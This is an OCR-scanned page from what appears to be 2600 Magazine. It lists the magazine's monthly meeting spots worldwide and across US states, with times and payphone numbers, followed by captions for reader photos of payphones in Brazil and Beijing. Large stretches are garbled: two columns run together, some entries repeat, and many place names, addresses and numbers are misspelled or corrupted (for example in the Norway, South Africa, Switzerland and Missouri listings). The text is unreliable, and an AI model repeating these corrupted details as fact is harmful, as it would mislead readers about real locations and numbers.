(Vuorikatu 14). 

FRANCE 

Avignon: Bottom of Rue de la Re- 
publique in front of the fountain with 
the flowers. 7 pm. 


Grenoble: Eve, campus of St Martin 
d'Heres. Ft Laui 

Paris: Place de la Repubiique. near the foodfirf 
(empty- feotato'n 6 pm. %B 


Florida 

ile: BrowaidJtall in the 
of thglM^r- 


to the mHMfRFR^blic 

Athens: Outside the bookstore 
Papaswtiriou on the comer of Patision 
and Stoumari. 7 pm. 

IRELAND 

Dublin: At the phone booths on Wick- 


Bc. Jpm. 

Orlando: Fashfifi SquaraJtrtl food 
, Court between '♦loebn Gooemet and 
’^Manchu Wok. 6 pm. 

Georgia 

Atlanta: Lenox Mall food court 7 pm. 

Hawaii 

Honolulu: Coffee Talk Cafe. 3601 Wa- 


low Street beside Tower Records. 7 pm. Âť*!** *ve. Payphone: (808) 732-9184. 


ITALY 

Milan: Piazza Loreto in front of 
McDonalds. 

JAPAN 

Tokyo: Linux Cafe in Akihabara 
district 6 pm. 

NEW ZEALAND 

Auckland: London Bar. upstairs. 
Wellesley St, Auckland CentraL 5:30 
pm. 

Christchurch: Java Cafe, comer of 
High St and Manchester St 6 pm. 
Wellington: Load Cafe in Cuba MalL 
6 pm. 

NORWAY 


6 pm. 

Idaho 

Boise: BSU Student Union Building, 
upstairs from the main entrance. 
Payphones: (208) 342-9700, 9701. 
Pocatello: College Market 604 South 
8 th Street 

Illinois 

Chicago: Union Station in the Great 
Hall near the payphones. 

Indiana 

Evansville: Barnes and Noble cafe at 
624 S Green River Rd. 

Ft Wayne: Glenbrook Mall food court 
in front of Sbarro's. 6 pm. 


Oslo: Oslo Sontrot Tram Sutler,. 7 pm. IndUnspoHs: BonUrs Books oo tire 
Tromsoe: The upper floor at Bias Rock ^of Âťondun,od WssUnoton. 
r.tm x nm South Bend (Mishawaka): Barnes and 

6 P m iifthu ..f. An, ba 


Trondhofm: kick-, Cjfe in Nordreqote. NoWt aft ' 4601 Ri 
6 pm I ° 

SCOTLAND Ames: Santa Fe Espresso, 116 Welch 

Glasgow: Central Station, payphones Av *‘ 
next to Platform 1 7 pm. |~ n “* 

SLOVAKIA 

Bratislava: at Polos City Center in the H,llfood cour V . 

c^rt (opposH. side of the escala- ^ Ro(jg#; ° ^ LSU 

SOUTH AFRICA 'S' 

lnKinnoshism /C„d. n „ rftw ,. rWXt t ° P«yPhOO| 

numbors: (225) 387-9520, 

Sondlon food <Ourt*tt pm. 9 , 33 . 9735 . 

- ... . . . . w ... . New Orleans: La Fee Vertr 

Gothenburg: Outside Vamlj. 6 pm. , 

Stockholm: Outside Uv,. Slr^ 6 pm. 


Kansas 

Kansas City (Overland Park): Oak Park 
Mall food court 

Louisiana 

Baton Rouge: In the LSU Union Build- 
ing. between the Tiger Pause & McDon- 
ald’s. nextto the payphones. Payphone 
numbers: (225) 387-9520, 9538, 9618, 
9722. 9733. 9735. 

New Orleans: La Fee Verte. 620 Conti 
Street 6 pm. 

Maine 

Portland: Maine Mall by the bench at 
the food court door. 

Maryland 

Baltimore: Barnes & Noble cafe at the 
Inner Harbor. 

Massachusetts 

Boston: Prudential Center Plaza, ter- 
race food court at the tables near the 


SWITZERLAND Portland: Maine Natl by the bench at 

Laasanna: In front of tha MacDo ^ ftxK j ^ ^ 
betide the train station. tne rood court ooot 

UNITED STATES BaWmora: B,“erT7obl,caf,..,h, 

Alabama Inne- Harbor. 

Auburn: The student lounge upstairs Mnssachusotts 

in the Foy Untat Building. 7 pm Boston: Prudential Center Plata. Ur- 

HuntsvfUa: Madison Square Mall tar IK , fooa court It ttw tj6Un 

the food court near McDonald's. 7 pm. Endows 

Tuscaloosa: McfarUnd MaU food court Marlborough: Solomon Park Mall ftrod 
near the front entrance. court 

Arizona Northampton: Javanet Cafe across 

Phoenix: Borders. 2nd Floor Cafe Area. from p,*. 

2402 E. Camelback Road. Michigan 

Tucson: Borden in the Park MalL Ann Arbor . ^ Galleria on South 


California Minnesota 

Los Angeles: Union Station, corner of Bloomington: Mall of America, north 
Macy & Alameda. Inside main entrance food court across from Burger 
by bank of phones. Payphones: (213) Mng & the bank of piy phones that 
972-9519, 9520: 625-9923, 9924; 613- don t uke incomi ng calls. 


9704. 9746. 

Orange County (Lake Forest): 

Diedrich Coffee. 22621 Lake Forest 
Drive. 


Missouri 

Kansas City (Independence): Barnes 

& Noble. 19120 East 39th St 
SL Louis: Galleria. Highway 40 & 


Socnmonto (Otrrn Heights): Barnes Brentwood, elevated section, food 


& Noble, 6111 Sunrise Btvd. 7 pm. 
Sen Diego: Regents Pizza, 4150 
Regents Park Row #170. 

San Francisco: 4 Embarcadero Plaza 
(inside). Payphones: (415) 398-9803. 
9804. 9805. 9806. 


court area, by the theaters. 
Springfield: Borders Books and Music 
coffeeshop, 3300 South Glen stone Ave, 
one block south of Battlefield MalL 
5:30 pm. 

Nebraska 


San Jose (Campbell): Orchard Valley Omaha: Crossroads Mall Food CourL 
Coffee Shop/Net Cafe on the comer of 7 pm. 


^-pjod sa ■ 


S Central Ave. and E Campbell Ave. 
Santa Barbara: Cafe Siena on State 
Street 

Colorado 

Boulder: Wing Zone food court 13th 
and College. 6 pm. 

District of Columbia 
Arlington: Pentagon City MaU in the 
food court 6 pm. 


Nevada 

Las Vegas: Palms Casino food court. 
8 pm. 

New Mexico 

Albuquerque: Winrock Mall food 
court, near payphones on the lower 
level between the fountain & arcade. 
Payphones: (505) 883-9985. 9976. 
9841. 


New York ' 

New York: Citigroup Center, in the ' 
lobby, near the payphones. 153 L53r 
betwcqMpangton & 3<* 

Charlotte: South Par* Mai feed copf 
OreMsborte Mr Rofftfe, friend , 



Raleigh: Czabtree Valley Mall food 
court ii^ront of the McDonald's. 
Wilmington: Independence Mall food | 
court 

Ohio 

Akron: Arabic* on W. Market Street, 
intersection of Hawkins, W. Market, 
and Exchange. 

Cleveland: University Circle Arabic*. 
11300 Juniper Rd. Upstairs, turn right, 
second room on left. 

Columbus: Convention Center (down- 
town). south (hotel) half, carpeted 
payphone area, near restrooms, north 1 
of food court 7 pm. 

Dayton: At the Marions behind the 
Dayton MalL 

Oklahoma 

Oklahoma City: The Magic Lamp in tht 
Lakeside Shopping Center near the cor- 
ner of N. May Ave. and NW 73rd St 
Tulsa: Woodland Hills Mali food court, 
Oregon 

Portland: Backspace Cafe. 115 NW 5th 
Ave. 6 pm. 

Pennsylvania 

Allentown: Pan era Bread on Route 
145 (Whitehall). 6 pm. 

Philadelphia: 30th Street Station, 
under Stairwell 7 sign. 

Pittsburgh: William Pitt Union build- 
ing on the University of Pittsburgh 
campus by the Bigelow Boulevard 
entrance. 

South Carolina 

Charleston: Northwoods MaU in the 
haU between Sears and Chik-Rl-A. 

South Dakota 

Sioux Fells: Empire MaU. by Burger 
King. 

Tennessee 

Knoxville: Borders Books Cafe across 
from Westown MaU. 

Memphis: Cafe inside Bookstar - 3402 
Poplar Ave. at Highland. 6 pm. 

Nashville: J -J’s Market. 1912 
Broadway. 

Texas 

Austin: Dobie MaU food court 
Oallas: Mama's Pizza, Campbell & Pre- 
ston. 7 pm. 

Sen Antonio: North Star MaU food 
court 

Utah 

Salt Uke City: ZCMI MaU in The Park 
Food Court 

Vermont 

Buriington: Borders Books at Church St. 
and Cherry St on the second floor of 
the cafe. 

Virginia 

Arlington: (see District of Columbia) 
Virginia Beach: Lynnhaven Mall on 
Lynnhaven Parkway. 6 pm. 

Washington 

Seattle: Washington State Convention 
Center. 6 pm. 

Wisconsin 

Madison: Union South (227 N. Randall 
Ave.) on the lower level In the Copper 
Hearth Lounge. 

Milwaukee: The Node. 1504 E. North 


AU meetings take place on the first Fri- 
day of the month, Unless otherwise 
noted, they start at 5 pm local time. 

To start a meeting in your dty, leave a 
message & phone number at 
(631) 751-2600 or send email to 
meetings@2600.com. 

a 00 Hagazine 



Come and visit our website and see our vast array of payphone 
photos that we've compiled! http://vvw w.2600.com 


And yet. people in Sao Paulo don’t seem to he in 
the least bit concerned with this new life form. 


If phones like this started to sprout in American 
streets, there would he massive panic. They look 
like some kind of alien. 


If you're really daring, this is w hat one of these 
monsters looks like as you approach. This one 
was seen in Campinas. 


And yes. the phone itself, which doesn't seem to 
really match its spaey surroundings. 


Photos bx Anonymous 






Look on the other side of this page for even more photos! 


From the Northwest comer of Tiananmen Square 
in Beijing (People's Republic ). 


And here we have the Southwest corner. 


Photos by Tim Fraser